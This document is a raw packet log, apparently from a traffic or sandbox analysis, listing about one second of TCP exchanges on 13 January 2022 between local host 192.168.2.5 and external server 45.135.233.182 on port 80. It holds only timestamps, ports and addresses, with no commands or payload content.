Jan 13, 2022 20:50:28.797688007 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.797750950 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.798664093 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.798676968 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.798688889 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.798702955 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.798944950 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.799475908 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.856971025 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.856987953 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.857002974 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.857016087 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.857117891 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.857688904 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.857707977 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.857727051 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.857743025 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.857758999 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.857831001 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.863852978 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.863873005 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.863951921 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.912424088 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.912450075 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.912466049 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.912492037 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.912513018 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.912568092 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.912817955 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.912837982 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.912854910 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.912868977 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.912895918 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.912924051 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.913980961 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.914004087 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.914056063 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.919862032 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.919883966 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.920933008 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.970213890 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.970237017 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.970252991 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.970271111 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.970279932 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.970288038 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.970312119 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.970360994 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.970748901 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.970767021 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.970782995 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.970801115 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.970884085 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.976510048 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.976531029 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.976547003 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.976562977 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:28.976726055 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:28.976754904 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.030064106 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.030087948 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.030106068 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.030122042 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.030138016 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.030181885 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.030608892 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.030627966 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.030643940 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.030677080 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.030678988 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.030699015 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.037704945 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.037729025 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.037807941 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.037976980 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.037997007 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.038027048 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.085141897 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.085165977 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.085182905 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.085199118 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.085213900 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.085247040 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.085638046 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.085655928 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.085689068 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.085701942 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.085719109 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.085747004 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.085747957 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.085791111 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.093142033 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.093163967 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.093211889 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.093489885 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.093508959 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.093556881 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.147598982 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.147619009 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.147635937 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.147651911 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.147692919 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.147711039 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.148062944 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.148082018 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.148097992 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.148113966 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.148140907 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.148148060 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.148194075 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.148211956 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.148220062 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.148230076 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.148245096 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.148276091 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.151387930 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.151410103 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.151426077 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.151477098 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.206013918 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.206121922 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.211287975 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.211309910 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.211324930 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.211340904 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.211400986 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.211432934 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.220202923 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.220223904 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.220241070 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.220256090 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.220333099 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.221613884 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.221633911 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.221648932 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.221664906 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.221698999 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.221736908 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.267299891 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.267323971 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.267441034 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.267460108 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.267479897 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.267535925 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.267709970 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.267729998 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.267748117 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.267762899 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.267792940 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.267834902 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.281208038 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.281229019 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.281244993 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.281261921 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.281330109 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.284555912 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.284574986 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.284589052 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.284606934 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.284670115 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.284697056 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.322685957 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.322714090 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.322726965 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.322742939 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.322865963 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.322892904 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.322910070 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.322904110 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.322942972 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.322963953 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.322998047 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.323029995 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.337167978 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.337188959 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.337201118 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.337214947 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.337342024 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.337390900 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.345277071 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.345344067 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.345360994 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.345376015 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.345474958 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.345518112 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.345725060 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.378129005 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.378149986 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.378166914 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.378184080 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.378269911 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.378716946 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.378735065 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.378797054 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.378812075 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.378810883 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.378850937 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.393439054 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.393460989 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.393477917 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.393492937 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.393554926 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.393594980 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.400547981 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.400568008 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.400583982 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.400599957 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.400619984 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.400631905 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.400670052 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.400675058 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.443499088 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.443758011 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.443774939 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.443792105 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.443856955 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.443897963 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.443928003 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.443948984 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.443978071 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.443995953 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.444001913 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.444080114 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.448734999 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.448753119 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.448777914 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.448812008 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.448837042 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.448872089 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.457741022 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.457761049 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.457802057 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.457818985 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.458241940 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.459081888 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.459101915 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.459171057 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.499809980 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.499840021 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.499859095 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.499876022 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.500030041 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.500071049 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.500104904 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.500386000 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.504064083 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.504085064 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.504101038 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.504117012 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.504199982 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.504226923 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.513334036 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.513355017 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.513370991 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.513417006 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.513457060 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.513484001 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.513684988 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.515039921 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.515059948 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.515077114 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.515117884 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.515151978 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.559485912 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.559514999 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.559530973 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.559546947 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.559597969 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.559701920 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.559851885 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.559874058 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.559906006 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.559921026 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.559940100 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.559950113 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.559979916 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.560710907 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.560729980 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.560761929 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.560786963 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.568804979 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.568826914 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.568842888 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.568917036 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.568929911 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.569081068 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.572160959 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.572180986 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.572241068 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.621042013 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.621067047 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.621262074 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.621273041 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.626416922 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.626437902 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.626454115 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.626471043 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.626622915 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.626912117 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.626930952 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.626949072 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.626964092 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.626971006 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.627011061 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.627660990 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.627679110 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.627695084 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.627748013 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.627763987 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.676875114 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.676899910 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.677016973 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.682240963 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.682262897 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.682280064 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.682297945 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.682358027 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.682389021 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.682463884 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.682482004 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.682498932 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.682549000 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.682585955 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.682660103 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.682765961 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.682791948 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.682809114 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.682826042 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.682862043 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.682888985 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.683136940 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.734406948 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.734427929 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.734594107 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.737955093 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.737976074 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.737992048 CET	80	49739	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:29.738120079 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.738203049 CET	49739	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:29.793339968 CET	80	49739	45.135.233.182	192.168.2.5
